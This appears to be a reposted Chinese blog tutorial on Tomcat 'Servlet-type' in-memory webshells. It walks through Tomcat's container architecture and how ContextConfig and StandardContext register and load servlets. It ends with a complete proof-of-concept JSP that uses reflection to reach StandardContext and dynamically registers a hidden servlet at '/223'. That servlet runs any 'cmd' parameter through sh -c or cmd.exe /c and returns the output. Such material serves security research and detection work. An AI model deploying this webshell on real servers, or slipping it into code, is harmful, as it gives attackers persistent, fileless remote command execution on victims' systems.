栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Tomcat Java内存马 Servlet型

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Tomcat Java内存马 Servlet型

Tomcat Java内存马 Servlet型

学完Listener型和Filter型后,了解到还有Servlet型,发现之前一些不懂的地方有点眉目了。特别是ContextConfig是怎么弄出来的,还有web.xml配置怎么读取这些问题,在Listener和Filter的时候调了好久没找到。

什么是Servlet?

Tomcat服务器是一个免费的开放源代码的Web应用服务器,Tomcat是Apache软件基金会Apache Software Foundation的Jakarta项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat是应用服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

Context(上下文):代表Servlet的Context,它具备了Servlet运行的基本环境,它表示Web应用程序本身。Context最重要的功能就是管理它里面的Servlet实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个Servlet,它负责管理一个Servlet,包括的Servlet的装载、初始化、执行以及资源回收。Wrapper是最底层的容器,它没有子容器了,所以调用它的addChild将会报错。

Servlet

简单了解一下Servlet后就要进行源码分析了,首先写一个Demo。这里我们选择实现Servlet接口,该接口需要@Override5个方法。

import javax.servlet.*;
import java.io.IOException;

public class ServletDemo02 implements Servlet { // 这里打断点
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {}

    @Override
    public ServletConfig getServletConfig() {return null;}

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("ServletDemo02 service");
    }

    @Override
    public String getServletInfo() {return null;}

    @Override
    public void destroy() {}
}

配置一下web.xml


    ServletDemo02
    servlet.ServletDemo02



    ServletDemo02
    /servletdemo02

调试模式访问/servletdemo02目录,在StandardWrapper.setServletClass(String servletClass)打断点停下,往上回溯到ContextConfig.configureStart(),在该方法里进行实例化。

//ContextConfig.java

protected synchronized void configureStart() {
    webConfig();
}


protected void webConfig(){}

在webConfig()方法里读取web.xml的各种配置

//ContextConfig.java
protected void webConfig() {
    WebXml webXml = createWebXml();

    // Parse context level web.xml
    InputSource contextWebXml = getContextWebXmlSource();
    if (!webXmlParser.parseWebXml(contextWebXml, webXml, false)) {
        ok = false;
    }

    // Step 9. Apply merged web.xml to Context
    if (!webXml.isMetadataComplete()) {
        if (ok) {configureContext(webXml);}
    }
}

创建WebXml对象然后通过getContextWebXmlSource()方法把web.xml的字节流byte[]读到contextWebXml里,然后通过webXmlParser.parseWebXml(contextWebXml, webXml, false)分析字节流并将分析出的配置信息设置到webXml里。

最后在configureContext(webXml)方法中把各种配置信息配置到Context.context上。

configureContext(webXml)方法依次读取Filter、Listener、Servlet的配置及其映射,我们直接关注Servlet部分

//ContextConfig.java
private void configureContext(WebXml webxml) {
    for (ServletDef servlet : webxml.getServlets().values()) {
        
        Wrapper wrapper = context.createWrapper();

        if (servlet.getLoadOnStartup() != null) {
            wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
        }
        
        wrapper.setName(servlet.getServletName());
        wrapper.setServletClass(servlet.getServletClass());

		
       
        context.addChild(wrapper);
    }
}

在Tomcat的架构设计中,一个Wrapper管理一个Servlet,换句话说Wrapper封装了一个Servlet对象,所以首先createWrapper()创建一个Wrapper,然后设置启动优先级LoadOnStartup和ServletName以及ServletClass。

最后将wrapper加入到context里context.addChild(wrapper),也就是加入到上下文。

然后再将servlet和servlet-mapping做映射

//ContextConfig.java
private void configureContext(WebXml webxml) {

    
    for (Entry entry : webxml.getServletMappings().entrySet()) {
        context.addServletMappingDecoded(entry.getKey(), entry.getValue());
    }
}

//StandardContext.java
@Override
public void addServletMappingDecoded(String pattern, String name,
                                     boolean jspWildCard) {

    String adjustedPattern = adjustURLPattern(pattern);

    // Add this mapping to our registered set
    synchronized (servletMappingsLock) {servletMappings.put(adjustedPattern, name);}
    
    Wrapper wrapper = (Wrapper) findChild(name);
    wrapper.addMapping(adjustedPattern);

    fireContainerEvent("addServletMapping", adjustedPattern);
}

通过Servlet的分析反而把之前比较迷糊的Filter和Listener如何装载的问题给顺便搞定了。

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

  1. 通过context.createWapper()创建Wapper对象;

  2. 设置Servlet的LoadOnStartUp的值;

  3. 设置Servlet的Name;

  4. 设置Servlet对应的Class;

  5. 将Servlet添加到context的children中;

  6. 将URL路径和servlet类做映射。

如何加载Servlet?

在org.apache.catalina.core.StandardWapper.loadServlet()打断点,从调用栈往上回溯到startInternal(),在startInternal()中通过loadOnStartup()方法加载和初始化被设置了load on startup的servlet。

//StandardContext.java

@Override
protected synchronized void startInternal() throws LifecycleException
    
    if (ok) {
        if (!loadOnStartup(findChildren())){
            log.error(sm.getString("standardContext.servletFail"));
            ok = false;
        }
    }
}

findChildren()把之前context.addChild(wrapper)加入的字段child的Wrapper转换成数组给loadOnStartup()。

//StandardContext.java

public boolean loadOnStartup(Container children[]) {

    // Collect "load on startup" servlets that need to be initialized
    TreeMap> map = new TreeMap<>();
    for (Container child : children) {
        Wrapper wrapper = (Wrapper) child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup < 0) {
            continue;
        }
        Integer key = Integer.valueOf(loadOnStartup);
        ArrayList list = map.get(key);
        if (list == null) {
            list = new ArrayList<>();
            map.put(key, list);
        }
        list.add(wrapper);
    }

    // Load the collected "load on startup" servlets
    for (ArrayList list : map.values()) {
        for (Wrapper wrapper : list) {
            try {
                wrapper.load();
            } 
            catch (ServletException e) {}
        }
    }
    return true;

}

根据注释可以很容易的看出这个函数在做什么,获取所有load on startup大于0的servlet并wrapper.load()。

load-on-startup元素取值规则如下:

  1. 它的取值必须是一个整数;
  2. 当值小于0或者没有指定时,则表示容器在该Servlet被首次请求时才会被加载;
  3. 当值大于0或等于0时,表示容器在启动时就加载并初始化该Servlet,取值越小,优先级越高;
  4. 当取值相同时,容器就会自行选择顺序进行加载。
Poc
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };
%>

<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    //newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/223", name);
%>



    Title




不知道参考文章里的newWrapper.setLoadOnStartup(1)用意是什么,至少我本地测试就算注释了也不影响。而且根据 的取值规则看上去也没有任何影响。这里先存疑?

参考文章

  • Servlet内存马
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1021351.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号